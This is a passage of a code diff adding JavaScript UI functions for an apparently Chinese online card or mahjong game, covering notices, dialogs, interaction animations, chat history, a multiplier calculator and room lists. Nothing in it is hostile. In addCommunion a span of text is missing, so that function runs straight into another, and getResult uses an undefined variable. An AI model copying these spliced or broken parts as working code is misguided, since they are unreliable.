0, 0); +} +GameUI.ShowNotice = function(_msg) { //打开公告通知 + if (_msg) { + set_self(220, 7, _msg, 0, 0); + set_self(220, 18, Game_Config.Notice.x2, 0, 0); + set_self(219, 37, 1, 0, 0); + set_self(220, 37, 1, 0, 0); + set_self(45, 37, 1, 0, 0); + var len = _msg.gblen() * Game_Config.Notice.width; + var t = (len + Game_Config.Notice.x2 - Game_Config.Notice.x1) / Game_Config.Notice.speed; + play_ani(1, 220, 18, Game_Config.Notice.x2, Game_Config.Notice.x1 - len, 0, t, 0, 0, 0, 0, 0, 0); + } +} +GameUI.HideNotice = function() { //关闭公告通知 + set_self(219, 37, 0, 0, 0); + set_self(220, 37, 0, 0, 0); + set_self(45, 37, 0, 0, 0); + play_ani(0, 220, 18); +} +GameUI.OpenKick = function(text) { //打开强制下线界面 + set_self(225, 18, 640 - get_self(225, 20, 0, 0, 0) / 2, 0, 0); + set_self(227, 7, text, 0, 0); + set_self(227, 18, 640 - text.gblen() * 7.5, 0, 0); + set_group(33, 37, 1, 0, 0); +} +GameUI.SetOnState = function(seat, v) { + var ind = Logic.ChangeToStatus(C_Player.seat, seat); + GameUI.onstate[ind] = v; +} +GameUI.SetIsprepare = function(seat, v) { + var ind = Logic.ChangeToStatus(C_Player.seat, seat); + this.isprepare[ind] = v; + if (seat == C_Player.seat) { + C_Player.isprepare = v; + } +} +GameUI.Openupdataroomcard = function(_msg) { + if (GameData.versionState != 1) { + if (_msg) { + set_self(229, 7, _msg, 0, 0); + set_self(229, 18, 640 - _msg.gblen() * 5.25, 0, 0); + set_self(228, 18, 640 - get_self(228, 20, 0, 0, 0) / 2, 0, 0); + set_group(34, 37, 1, 0, 0); + } + } + +} + +GameUI.Closeupdataroomcard = function() { + set_group(34, 37, 0, 0, 0); +} +GameUI.openUpdateBean = function(_msg) { + if (GameData.versionState != 1) { + if (_msg) { + set_self(229, 7, _msg, 0, 0); + set_self(229, 18, 640 - _msg.gblen() * 5.25, 0, 0); + set_self(228, 18, 640 - get_self(228, 20, 0, 0, 0) / 2, 0, 0); + set_group(34, 37, 1, 0, 0); + } + } + +} + +GameUI.closeUpdateBean = function() { + set_group(34, 37, 0, 0, 0); +} +GameUI.OpenDisConnect = function() { + if (get_self(230, 37, 0, 0, 0) == 0) { + set_group(35, 37, 1, 0, 0); + play_ani(1, 232, 43, 1, 9, 0, 800, 0, 0, 0, 0, 0, 0); + } + +} +GameUI.CloseDisConnect = function() { + set_group(35, 37, 0, 0, 0); +} +GameUI.openCheck = function(_msg) { + Utl.playSound(Game_Config.ClickButton.src_2); + //if(GameData.versionState == 1){ + + //set_self(361,7," 是否解散房间?",0,0); + //}else{ + //set_self(361,7,"解散房间不扣"+GameData.roomCardName+",是否解散?",0,0); + //} + set_self(361, 7, _msg, 0, 0); + set_self(361, 18, get_self(244, 18, 0, 0, 0) + get_self(244, 20, 0, 0, 0) / 2 - String(_msg).gblen() * 8.5); + set_group(36, 37, 1, 0, 0); +} +GameUI.closeCheck = function() { + GameData.checkType = 1; + set_group(36, 37, 0, 0, 0); +} +GameUI.OpenProtocol = function() { + Utl.playSound(Game_Config.ClickButton.src_2); + GameData.Protocol_H = get_self(252, 21, 0, 0, 0); + set_self(252, 18, Game_Config.Protocol.x, 0, 0); + set_self(252, 19, Game_Config.Protocol.y, 0, 0); + set_group(37, 37, 1, 0, 0); +} +GameUI.CloseProtocol = function() { + set_group(37, 37, 0, 0, 0); +} +GameUI.StartLoadData = function() { + +} +GameUI.EndLoadData = function() { + +} +GameUI.PlayEffect = function(seat1, seat2, type) { //播放互动动画 + if (Logic.ChangeToStatus(C_Player.seat, seat1) == 0) { + GameUI.CloseInfo(); + } + if (type != null) { + + set_self(466, 37, 1, 0, 0); + var spid; + var spid_s = 376 + Logic.ChangeToStatus(C_Player.seat, seat1); + var spid_e = 376 + Logic.ChangeToStatus(C_Player.seat, seat2); + var s1_xy = []; + var s2_xy = []; + var frame; + var _time = []; + switch (type) { + case 4: + //抓鸡 + spid = 302; + s1_xy = [get_self(spid_s, 18) - 15, get_self(spid_s, 19)]; + s2_xy = [get_self(spid_e, 18) - 15, get_self(spid_e, 19) - 15]; + frame = 12; + _time = [2400, 200]; + setTimeout(function() { + Utl.playSound(ConstVal.InterEffSoundsList[0]); + }, 700); + break; + case 3: + //碰杯 + spid = 297; + s1_xy = [get_self(spid_s, 18) - 35, get_self(spid_s, 19) - 10]; + s2_xy = [get_self(spid_e, 18) - 35, get_self(spid_e, 19) - 10]; + + frame = 4; + _time = [600, 500]; + setTimeout(function() { + Utl.playSound(ConstVal.InterEffSoundsList[1]); + }, 700); + break; + case 1: + //炸弹 + spid = 274; + s1_xy = [get_self(spid_s, 18) - 25, get_self(spid_s, 19) - 25]; + s2_xy = [get_self(spid_e, 18) - 25, get_self(spid_e, 19) - 25]; + frame = 7; + _time = [1200, 1000]; + setTimeout(function() { + Utl.playSound(ConstVal.InterEffSoundsList[2]); + }, 700); + break; + case 2: + //鲜花 + spid = 292; + s1_xy = [get_self(spid_s, 18) - 6, get_self(spid_s, 19)]; + s2_xy = [get_self(spid_e, 18) - 6, get_self(spid_e, 19)]; + frame = 12; + _time = [2400, 200]; + setTimeout(function() { + Utl.playSound(ConstVal.InterEffSoundsList[3]); + }, 700); + break; + default: + return; + break; + } + var zid = 10000 * seat1 + ifast_random(10000); + var copySpid = ifast_addtospritefromspritecopy(466, spid, 0, 0, zid); + set_self(copySpid, 18, s1_xy[0], 0, 0); + set_self(copySpid, 19, s1_xy[1], 0, 0); + set_self(copySpid, 41, 0, 0, 0); + set_self(copySpid, 37, 1, 0, 0); + + play_ani(1, copySpid, 18, s1_xy[0], s2_xy[0], 0, 700, 0, 0, 0, 1, 0, 0); + play_ani(1, copySpid, 19, s1_xy[1], s2_xy[1], 0, 700, 0, 0, 0, 1, 0, 0); + play_ani(1, copySpid, 43, 1, frame, 0, _time[0], 0, 700, 0, 1, 0, 0); + + GameUI.PlayEffect_clear(zid, _time); + } else { + set_self(149, 37, 0, 0, 0); + } +} +GameUI.PlayEffect_clear = function(zid, _time) { //关闭单个互动动画 + window.setTimeout(function() { + ifast_dllpritefromspritecopy(466, zid); + }, _time[0] + _time[1] + 700); +}; + +GameUI.play_voice = function(_msg, type, v) { + Func.mediaTypeAudio(_msg, type, v); + +} + +function gameui_play_voice(v) { + v = Number(v); + var bTemp = false; + if (v >= ConstVal.Com_History.content_tag) { + bTemp = true; + } + if (bTemp) { + play_ani(1, ConstVal.Com_History.f_spid + "add" + v, 43, 1, 3, 0, 600, 0, 0, 0, 0, 0, 0); + } else { + var x = Game_Config.Voice.VoiceLoc[v][0]; + var y = Game_Config.Voice.VoiceLoc[v][1]; + var dis_x = Game_Config.Voice.VoiceDis[0]; + var dis_y = Game_Config.Voice.VoiceDis[1]; + var isleft = Game_Config.Voice.isLeft[v]; + var text_len = get_self(642 + v, 20, 0, 0, 0); + if (isleft) { + set_self(612 + v, 18, x, 0, 0); + set_self(612 + v, 19, y, 0, 0); + set_self(642 + v, 18, x + dis_x, 0, 0); + set_self(642 + v, 19, y + dis_y, 0, 0); + set_self(612 + v, 20, text_len + dis_x * 2, 0, 0); + set_self(612 + v, 1, 83, 0, 0); + set_self(612 + v, 37, 1, 0, 0); + set_self(642 + v, 37, 1, 0, 0); + } else { + set_self(612 + v, 18, x - text_len - dis_x * 2, 0, 0); + set_self(642 + v, 18, x - text_len - dis_x, 0, 0); + set_self(612 + v, 19, y, 0, 0); + set_self(642 + v, 19, y + dis_y, 0, 0); + set_self(612 + v, 20, text_len + dis_x * 2, 0, 0); + set_self(612 + v, 1, 86, 0, 0); + set_self(612 + v, 37, 1, 0, 0); + set_self(642 + v, 37, 1, 0, 0); + + } + play_ani(1, 642 + v, 43, 1, 3, 0, Game_Config.Voice.VoiceTime, 0, 0, 0, 0, 0, 0); + } +} + +function gameui_stop_voice(v) { + v = Number(v); + var bTemp = false; + if (v >= ConstVal.Com_History.content_tag) { + bTemp = true; + } + if (bTemp) { + play_ani(0, ConstVal.Com_History.f_spid + "add" + v, 43, 1, 3, 0, 600, 0, 0, 0, 0, 0, 0); + set_self(ConstVal.Com_History.f_spid + "add" + v, 43, 3, 0, 0); + } else { + set_self(612 + v, 37, 0, 0, 0); + set_self(642 + v, 37, 0, 0, 0); + play_ani(0, 642 + v, 43); + } +} + +GameUI.ShowiMessage = function(_msg) { + set_self(333, 7, _msg, 0, 0); + set_self(333, 41, 0, 0, 0); + set_self(334, 41, 0, 0, 0); + set_self(332, 18, 0, 0, 0); + set_self(332, 19, ConstVal.iMessage.bg_y1, 0, 0); + set_self(334, 18, ConstVal.iMessage.icon_x, 0, 0); + set_self(335, 18, ConstVal.iMessage.close_x, 0, 0); + var len = _msg.gblen(); + if (len <= ConstVal.iMessage.max_length) { + set_self(333, 18, 640 - len * 8.5, 0, 0); + set_group(41, 37, 1, 0, 0); + play_ani(1, 332, 19, ConstVal.iMessage.bg_y1, ConstVal.iMessage.bg_y2, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(1, 333, 19, ConstVal.iMessage.text_y1, ConstVal.iMessage.text_y2, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(1, 334, 19, ConstVal.iMessage.icon_y1, ConstVal.iMessage.icon_y2, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(1, 335, 19, ConstVal.iMessage.close_y1, ConstVal.iMessage.close_y2, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + } else { + set_self(333, 18, ConstVal.iMessage.x2, 0, 0); + set_group(41, 37, 1, 0, 0); + play_ani(1, 332, 19, ConstVal.iMessage.bg_y1, ConstVal.iMessage.bg_y2, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(1, 333, 19, ConstVal.iMessage.text_y1, ConstVal.iMessage.text_y2, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(1, 334, 19, ConstVal.iMessage.icon_y1, ConstVal.iMessage.icon_y2, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(1, 335, 19, ConstVal.iMessage.close_y1, ConstVal.iMessage.close_y2, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(1, 333, 18, ConstVal.iMessage.x2, ConstVal.iMessage.x1 - len * 6.75, 0, len * 6.75 / ConstVal.iMessage.speed, 0, 0, 0, 0, 0, 0); + } +} +GameUI.HideiMessage = function(_msg) { + play_ani(1, 332, 19, ConstVal.iMessage.bg_y2, ConstVal.iMessage.bg_y1, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(1, 333, 19, ConstVal.iMessage.text_y2, ConstVal.iMessage.text_y1, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(1, 334, 19, ConstVal.iMessage.icon_y2, ConstVal.iMessage.icon_y1, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(1, 335, 19, ConstVal.iMessage.close_y2, ConstVal.iMessage.close_y1, 0, ConstVal.iMessage.time, 0, 0, 0, 1, 0, 0); + play_ani(0, 333, 18); +} +//打开二维码 +GameUI.Open_ewm = function() { + if (GameData.wechat_ewm) { + Utl.playSound(Game_Config.ClickButton.src_2); + Func.up_imgurl(115, GameData.wechat_ewm); + + set_group(42, 37, 1, 0, 0); + } +} +//打开二维码 +GameUI.Close_ewm = function() { + set_group(42, 37, 0, 0, 0); +} +GameUI.OpenFeedback = function(bTemp) { + Utl.playSound(Game_Config.ClickButton.src_2); + set_group(74, 37, 1, 0, 0); + if(bTemp){ + set_self(550,37,0,0,0); + }else{ + set_self(3265,37,0,0,0); + set_self(3266,37,0,0,0); + } +} +GameUI.CloseFeedback = function() { + var obj = gameabc_face.getdiv("div551"); + obj.blur(); + set_self(551,7,"",0,0); + set_group(74, 37, 0, 0, 0); +} +GameUI.getFeedbackText = function() { + return get_self(551, 7, 0, 0, 0); +} +//创建历史记录 +GameUI.createCommunion = function(c_list) { + if (c_list) { + if (c_list.length) { + var len = c_list.length; + var head = ""; + var bubble = ""; + var content = ""; + var contentLen = 0; + for (var i = 0; i < len; i++) { + head = ifast_addtospritefromspritecopy(ConstVal.Com_History.f_spid, 697, ConstVal.Com_History.head_x, ConstVal.Com_History.head_y + i * (ConstVal.Com_History.head_dis_y + ConstVal.Com_History.head_h), ConstVal.Com_History.head_tag + i); //头像 + set_self(head, 1, ConstVal.Com_History.head_res_id + c_list[i][0]); + bubble = ifast_addtospritefromspritecopy(ConstVal.Com_History.f_spid, 163, ConstVal.Com_History.head_x + ConstVal.Com_History.head_bubble_dis_x, ConstVal.Com_History.head_y + ConstVal.Com_History.head_bubble_dis_y + i * (ConstVal.Com_History.head_dis_y + ConstVal.Com_History.head_h), ConstVal.Com_History.bubble_tag + i); //气泡 + if (c_list[i][1] == 1) { //文字 + content = ifast_addtospritefromspritecopy(ConstVal.Com_History.f_spid, 164, ConstVal.Com_History.head_x + ConstVal.Com_History.head_bubble_dis_x + ConstVal.Com_History.bubble_content_dis_x, ConstVal.Com_History.head_y + ConstVal.Com_History.head_bubble_dis_y + ConstVal.Com_History.head_content_1_dis_y + i * (ConstVal.Com_History.head_dis_y + ConstVal.Com_History.head_h), ConstVal.Com_History.content_tag + i); //气泡 + set_self(content, 7, c_list[i][2], 0, 0); + contentLen = String(c_list[i][2]).gblen() * ConstVal.Com_History.text_width; + set_self(bubble, 20, contentLen + ConstVal.Com_History.bubble_content_dis_x * 2, 0, 0); + time_show = ifast_addtospritefromspritecopy(ConstVal.Com_History.f_spid, 480, ConstVal.Com_History.head_x + ConstVal.Com_History.head_bubble_dis_x + contentLen + ConstVal.Com_History.time_bubble_dis_x, ConstVal.Com_History.head_y + ConstVal.Com_History.head_bubble_dis_y + ConstVal.Com_History.time_bubble_dis_y + i * (ConstVal.Com_History.head_dis_y + ConstVal.Com_History.head_h), ConstVal.Com_History.time_tag + i); //时长 + set_self(time_show, 7, "", 0, 0); + } else if (c_list[i][1] == 2) { //语音 + content = ifast_addtospritefromspritecopy(ConstVal.Com_History.f_spid, 165, ConstVal.Com_History.head_x + ConstVal.Com_History.head_bubble_dis_x + ConstVal.Com_History.bubble_content_dis_x, ConstVal.Com_History.head_y + ConstVal.Com_History.head_bubble_dis_y + ConstVal.Com_History.head_content_2_dis_y + i * (ConstVal.Com_History.head_dis_y + ConstVal.Com_History.head_h), ConstVal.Com_History.content_tag + i); //气泡 + //set_self(bubble,20,ConstVal.Com_History.bubble_width[ConstVal.Com_History.bubble_width.length-1],0,0); + contentLen = ConstVal.Com_History.bubble_width[ConstVal.Com_History.bubble_width.length - 1]; + for (var k = 0; k < ConstVal.Com_History.time_length.length; k++) { + if (GameData.communionHistory[i][3] <= ConstVal.Com_History.time_length[k]) { + contentLen = ConstVal.Com_History.bubble_width[k]; + + break; + } + //contentLen = ConstVal.Com_History.bubble_width[k+1]; + } + + set_self(bubble, 20, contentLen, 0, 0); + time_show = ifast_addtospritefromspritecopy(ConstVal.Com_History.f_spid, 480, ConstVal.Com_History.head_x + ConstVal.Com_History.head_bubble_dis_x + contentLen + ConstVal.Com_History.time_bubble_dis_x, ConstVal.Com_History.head_y + ConstVal.Com_History.head_bubble_dis_y + ConstVal.Com_History.time_bubble_dis_y + i * (ConstVal.Com_History.head_dis_y + ConstVal.Com_History.head_h), ConstVal.Com_History.time_tag + i); //时长 + set_self(time_show, 7, GameData.communionHistory[i][3] + "\''", 0, 0); + } + + + + } + + + set_self(ConstVal.Com_History.f_spid, 21, len * (ConstVal.Com_History.head_h + ConstVal.Com_History.head_dis_y) + ConstVal.Com_History.head_x * 2, 0, 0); + if (len <= ConstVal.Com_History.page_count) { + set_self(ConstVal.Com_History.f_spid, 19, ConstVal.Com_History.clip_y); + } else { + set_self(ConstVal.Com_History.f_spid, 19, ConstVal.Com_History.clip_y - (len - ConstVal.Com_History.page_count) * (ConstVal.Com_History.head_h + ConstVal.Com_History.head_dis_y), 0, 0); + } + + GameData.createHistoryLen = len; + } + } +} +//添加一条历史记录 +GameUI.addCommunion = function(status, type, data, tlen, kfData, sex) { + + GameData.communionHistory.push([status, type, data, tlen, kfData, sex]); + var c_list = GameData.communionHistory; + if (get_self(ConstVal.Com_History.f_spid, 37, 0, 0) == 1) { //在历史记录界面 + var len = c_list.length; + var head = ""; + var bubble = ""; + var content = ""; + var contentLen = 0; + var time_show = ""; + i = len - 1; + //for(var i=0;i 0) { + mult = rt; + } else { + Utl.SaveData(Utl.Config.multiple, "1"); + } + } else { + Utl.SaveData(Utl.Config.multiple, "1"); + } + } else { + Utl.SaveData(Utl.Config.multiple, "1"); + } + GameData.Multiple = min_replaceAll(String(mult), "\\.", "b", false); + set_self(370, 7, GameData.Multiple, 0, 0); + set_self(370, 20, GameData.Multiple.length * width, 0, 0); + set_self(283, 20, 203 + GameData.Multiple.length * width, 0, 0); + set_group(78, 37, 1, 0, 0); +} +//隐藏计算器按钮 +GameUI.hideCalBtn = function() { + set_group(78, 37, 0, 0, 0); +} +GameUI.showCal = function() { + Utl.playSound(Game_Config.ClickButton.src_2); + set_self(373, 7, GameData.Multiple, 0, 0); + set_self(373, 20, GameData.Multiple.length * 36, 0, 0); + set_self(373, 18, get_self(372, 18, 0, 0, 0) + get_self(372, 20, 0, 0, 0) / 2 - GameData.Multiple.length * 18, 0, 0); + set_group(79, 37, 1, 0, 0); +} +GameUI.hideCal = function() { + set_group(79, 37, 0, 0, 0); +} +//得到计算的倍数 +GameUI.getMultiple = function() { + var result = min_replaceAll(String(GameData.Multiple), "b", ".", false); + if (GameUI.checkNumber(result)) { + var rt = Number(result); + if (rt > 0) { + return rt; + } else { + return false; + } + } else { + return false; + } +} +//输入是否合法 +GameUI.checkNumber = function(input_data) { // + var reg = /^[0-9]+.?[0-9]*$/; + if (reg.test(input_data)) { + return true; + } + return false; +} +//获得计算结果 +GameUI.getResult = function(input_arr) { + if (GameUI.checkNumber(rd)) { + var rt = Number(rd); + if (rt > 0) { + return rt; + } else { + return false; + } + } else { + return false; + } +} +//输入 +GameUI.CalInput = function(spid) { + var multiple_temp = GameData.Multiple; + if (spid >= 392 && spid <= 402) { + var input; + if (spid == 402) { + input = "b"; + } else { + input = String(spid - 392); + } + + + if (multiple_temp == "0" && input != "b") { + multiple_temp = input; + } else { + multiple_temp += input; + } + if (multiple_temp.length > 8) { + GameUI.OpenTips("输入长度超过限制!", ConstVal.Tips.time); + } else { + if (GameUI.checkNumber(multiple_temp)) { + GameData.Multiple = multiple_temp; + set_self(373, 7, GameData.Multiple, 0, 0); + set_self(373, 20, GameData.Multiple.length * 36, 0, 0); + set_self(373, 18, get_self(372, 18, 0, 0, 0) + get_self(372, 20, 0, 0, 0) / 2 - GameData.Multiple.length * 18, 0, 0); + } else { + GameUI.OpenTips("输入不正确!", ConstVal.Tips.time); + } + } + } + if (spid == 391) { //删除 + if (multiple_temp.length > 1) { + GameData.Multiple = GameData.Multiple.substring(0, GameData.Multiple.length - 1); + set_self(373, 7, GameData.Multiple, 0, 0); + set_self(373, 20, GameData.Multiple.length * 36, 0, 0); + set_self(373, 18, get_self(372, 18, 0, 0, 0) + get_self(372, 20, 0, 0, 0) / 2 - GameData.Multiple.length * 18, 0, 0); + } else if (multiple_temp.length == 1) { + GameData.Multiple = "0"; + set_self(373, 7, GameData.Multiple, 0, 0); + set_self(373, 20, String(GameData.Multiple).length * 36, 0, 0); + set_self(373, 18, get_self(372, 18, 0, 0, 0) + get_self(372, 20, 0, 0, 0) / 2 - String(GameData.Multiple).length * 18, 0, 0); + } + + } + if (spid == 403) { //确定 + if (GameUI.checkNumber(GameData.Multiple)) { + var input_mul = min_replaceAll(String(GameData.Multiple), "b", ".", false); + input_mul = Number(input_mul); + if (input_mul == 0) { + input_mul = 1; + } + console.log("倍数:" + input_mul); + GameData.MultiArr.length = GameData.OrgArr.length; + for (var i = 0; i < GameData.MultiArr.length; i++) { + //GameData.MultiArr[i] = GameData.MultiArr[i]*input_mul; + GameData.MultiArr[i] = Func.accMul(GameData.OrgArr[i], input_mul); + } + Utl.SaveData(Utl.Config.multiple, input_mul); + Game_Modify.calResult(GameData.MultiArr); + GameUI.hideCal(); + GameData.Multiple = min_replaceAll(String(input_mul), "\\.", "b", false); + set_self(370, 7, GameData.Multiple, 0, 0); + set_self(370, 20, GameData.Multiple.length * 28, 0, 0); + set_self(283, 20, 203 + GameData.Multiple.length * 28, 0, 0); + } else { + GameUI.OpenTips("输入不正确!", ConstVal.Tips.time); + } + } +} +GameUI.OpenBind = function() { + GameUI.closePallet(); + Utl.playSound(Game_Config.ClickButton.src_2); + set_group(80, 37, 1, 0, 0); + set_self(365, 7, "", 0, 0); + set_self(365, "type", "number"); + if (!C_Player.invitecode) { //已绑定 + set_self(368, 37, 0, 0, 0); + } else { + set_self(365, 37, 0, 0, 0); + set_self(366, 37, 0, 0, 0); + set_self(367, 37, 0, 0, 0); + set_self(368, 7, "您已绑定邀请码,所绑定邀请码为:" + C_Player.invitecode, 0, 0); + } +} +GameUI.CloseBind = function() { + set_group(80, 37, 0, 0, 0); +} + +GameUI.addBroadcast = function(text) { + if (Utl.isMainScene()) { + GameData.BroadcastArray.push(text); + if (!GameData.isBoardcast) { + GameUI.playBroadcast(); + } + } +} +GameUI.playBroadcast = function() { + if (GameData.BroadcastArray.length > 0) { + if (Utl.isMainScene()) { + set_group(56, 37, 1, 0, 0); + GameData.isBoardcast = true; + var text = GameData.BroadcastArray.shift(); + var text_len = text.gblen() * ConstVal.Broadcast.textwidth; + set_self(390, 7, text, 0, 0, 0); + set_self(390, 18, ConstVal.Broadcast.clip_x + ConstVal.Broadcast.clip_w, 0, 0); + play_ani(1, 390, 18, ConstVal.Broadcast.clip_x + ConstVal.Broadcast.clip_w, ConstVal.Broadcast.clip_x - text_len, 0, (text_len + get_self(389, 20, 0, 0, 0)) / ConstVal.Broadcast.speed, 0, 0, 0, 1, 0, 0); + } + } else { + GameUI.closeBroadcast(); + } + +} +GameUI.clearBroadcast = function() { + GameData.BroadcastArray = []; + play_ani(0, 390, 18); + GameData.isBoardcast = false; + set_group(56, 37, 0, 0, 0); +} +GameUI.closeBroadcast = function() { + play_ani(0, 390, 18); + GameData.isBoardcast = false; + set_group(56, 37, 0, 0, 0); +} +GameUI.closeBroadcastfromplayer = function() { + //GameUI.closeBroadcast(); + //GameUI.playBroadcast(); +} + +GameUI.showBackBtn = function() { + if (GameData.LaunchMode == ConstVal.Launch_mode.from_hall) { + set_self(465, 37, 1, 0, 0); + } else { + set_self(465, 37, 0, 0, 0); + } +} +GameUI.openAuth = function() { + set_group(57, 37, 1, 0, 0); + set_self(491, 37, 0, 0, 0); + set_self(492, 37, 0, 0, 0); + set_self(489, 7, "", 0, 0); + set_self(490, 7, "", 0, 0); +} +GameUI.closeAuth = function() { + set_group(57, 37, 0, 0, 0); +} +GameUI.setLoginButton = function() { + + switch (GameData.loginBtnType) { + case ConstVal.loginButton.type1[0]: + set_self(3, 1, ConstVal.loginButton.type1[1], 0, 0, 0); + break; + case ConstVal.loginButton.type2[0]: + set_self(3, 1, ConstVal.loginButton.type2[1], 0, 0, 0); + break; + } +} + +GameUI.playTextVoice = function(_text) { + for (var i = 0; i < Game_Config.Info.TextContent.length; i++) { + if (Game_Config.Info.TextContent[i] == _text) { + Func.play_wav(Game_Config.Info.TextContentMp3[i], 0); + } + } +} +//打开星星争霸场 +GameUI.openWorldRoom = function() { + set_group(82, 37, 1, 0, 0); + set_self(518, 43, GameData.nameImgFrame_2, 0, 0); + if (GameData.worldRoomPage == 0) { + GameUI.goWorldRoom1(); + } else { + GameUI.goWorldRoom2(); + } + +} +//前往系统房 +GameUI.goWorldRoom1 = function() { + GameData.worldRoomPage = 0; + set_self(92, 43, 1, 0, 0); + set_self(93, 43, 4, 0, 0); + set_self(521, 37, 0, 0, 0); + set_self(3019, 37, 0, 0, 0); + //set_self(3019,37,0,0,0); + GameUI.createWorldRoom1(); +} +//前往自建房 +GameUI.goWorldRoom2 = function() { + GameData.worldRoomPage = 1; + set_self(92, 43, 2, 0, 0); + set_self(93, 43, 3, 0, 0); + set_self(521, 37, 1, 0, 0); + set_self(3019, 37, 1, 0, 0); + GameUI.createWorldRoom2(); +} +//关闭星星争霸场 +GameUI.closeWorldRoom = function() { + //GameData.worldRoomPage = 0; + set_group(82, 37, 0, 0, 0); + set_group(96, 37, 0, 0, 0); + set_group(97, 37, 0, 0, 0); + //GameUI.removeWorldRoom1(); + //GameUI.removeWorldRoom2(); + //GameData.worldRoomSys = []; + //GameData.worldRoomPly = []; +} +//设置星星争霸场数据 +GameUI.setWorldRoom = function(_pack) { + if (_pack.roomlist_system) { + GameData.worldRoomSys = _pack.roomlist_system; + for (var i = 0; i < GameData.worldRoomSys.length; i++) { + if (GameData.worldRoomSys[i].image) { + Func.up_imgurl(ConstVal.worldRoom.imgList[i], GameData.worldRoomSys[i].image); + } + } + } else { + GameData.worldRoomSys = []; + } + + if (_pack.roomlist_player) { + GameData.worldRoomPly = _pack.roomlist_player; + if (Game_Modify.getRoomMode) { + + for (var i = 0; i < GameData.worldRoomPly.length; i++) { + var mode = Game_Modify.getRoomMode(GameData.worldRoomPly[i].roomtype); + if (!mode) { + GameData.worldRoomPly.splice(i, 1); + i--; + } + } + } + } else { + GameData.worldRoomPly = []; + } +} +//人数显示转换 +GameUI.convertPlayerCount = function(_pCount) { + //_pCount = 101000; + try { + _pCount = Number(_pCount); + if (_pCount > 9999) { + return Math.ceil(_pCount / 10000) + "万+"; + } else { + return _pCount; + } + } catch (e) { + return _pCount; + } +} +//创建星星争霸场相关精灵 +GameUI.createWorldRoom1 = function() { + //set_self(518,43,GameData.nameImgFrame_2,0,0); + //GameData.worldRoomSys.push(GameData.worldRoomSys[0]); + GameUI.removeWorldRoom1(); + set_group(97, 37, 0, 0, 0); + set_group(96, 37, 1, 0, 0); + //set_self(ConstVal.worldRoom.f_sp_1,37,1,0,0); + + + set_self(ConstVal.worldRoom.top_sp_1, 41, 0, 0, 0); + set_self(ConstVal.worldRoom.des_sp_1, 41, 0, 0, 0); + set_self(ConstVal.worldRoom.starbg_sp_1, 41, 0, 0, 0); + set_self(ConstVal.worldRoom.star_sp_1, 41, 0, 0, 0); + + set_self(ConstVal.worldRoom.mult_sp_1, 41, 0, 0, 0); + set_self(ConstVal.worldRoom.pCount_sp_1, 41, 0, 0, 0); + set_self(ConstVal.worldRoom.join_sp_1, 41, 0, 0, 0); + + set_self(ConstVal.worldRoom.multIcon_sp, 41, 0, 0, 0); + set_self(ConstVal.worldRoom.multImg_sp, 41, 0, 0, 0); + + set_self(ConstVal.worldRoom.f_sp_1, 18, ConstVal.worldRoom.clip_x_1, 0, 0); + set_self(ConstVal.worldRoom.f_sp_1, 19, ConstVal.worldRoom.clip_y_1, 0, 0); + var bg_width_1 = get_self(ConstVal.worldRoom.bg_sp_1, 20, 0, 0); + var bg_height_1 = get_self(ConstVal.worldRoom.bg_sp_1, 21, 0, 0); + var space_1 = ConstVal.worldRoom.bg_sp_space_1 + bg_width_1; + + if (GameData.worldRoomSys.length >= 2) { + set_self(ConstVal.worldRoom.f_sp_1, 20, ConstVal.worldRoom.bgSpaceX * 2, 0); + } else { + set_self(ConstVal.worldRoom.f_sp_1, 20, ConstVal.worldRoom.bgSpaceX, 0); + } + set_self(ConstVal.worldRoom.f_sp_1, 21, ConstVal.worldRoom.bgSpaceY * Math.ceil(GameData.worldRoomSys.length / 2), 0); + //set_self(ConstVal.worldRoom.f_sp_1,20,(bg_width_1+ConstVal.worldRoom.bg_sp_space_1)*GameData.worldRoomSys.length,0); + //set_self(ConstVal.worldRoom.f_sp_1,21,bg_height_1,0); + for (var i = 0; i < GameData.worldRoomSys.length; i++) { //系统房间 + //大背景 + var bg_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1, ConstVal.worldRoom.bg_sp_1, ConstVal.worldRoom.bg_sp_x_1 + (i % 2) * ConstVal.worldRoom.bgSpaceX, ConstVal.worldRoom.bg_sp_y_1 + Math.floor(i / 2) * ConstVal.worldRoom.bgSpaceY, i + ConstVal.worldRoom.bg_sp_tag_1); + set_self(bg_id, 43, (i % 4) + 1, 0, 0); + //顶栏描述 + //console.log("x:"+get_self(bg_id,18,0,0,0));GameData.worldRoomSys[i].image + //console.log("y:"+get_self(bg_id,19,0,0,0)); + if (GameData.worldRoomSys[i].image) { + var topImg = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1, ConstVal.worldRoom.topImg_sp, 0, + ConstVal.worldRoom.topImg_y + Math.floor(i / 2) * ConstVal.worldRoom.bgSpaceY, i + ConstVal.worldRoom.topImg_tag); + set_self(topImg, 1, ConstVal.worldRoom.imgList[i], 0, 0); + set_self(topImg, 18, get_self(bg_id, 18, 0, 0, 0) + get_self(bg_id, 20, 0, 0, 0) / 2 - get_self(topImg, 20, 0, 0, 0) / 2, 0, 0); + set_self(topImg,41,0,0,0); + + } else { + var top_id = ifast_addtospritefromspritecopy(ConstVal.worldRoom.f_sp_1, ConstVal.worldRoom.top_sp_1, 0, + ConstVal.worldRoom.top_sp_y_1 + Math.floor(i / 2) * ConstVal.worldRoom.bgSpaceY, i + ConstVal.worldRoom.top_sp_tag_1); + var top_info = GameData.worldRoomSys[i].title; + //var top_info = "初级场"; + set_self(top_id, 7, top_info, 0, 0); + set_self(top_id, 18, get_self(bg_id, 18, 0, 0, 0) + get_self(bg_id, 20, 0, 0, 0) / 2 - top_info.gblen() * ConstVal.worldRoom.top_sp_width_1 / 2, 0, 0); + set_self(top_id,41,0,0,0); + } + //if(GameData.worldRoomSys[i].title){ + //var top_id = 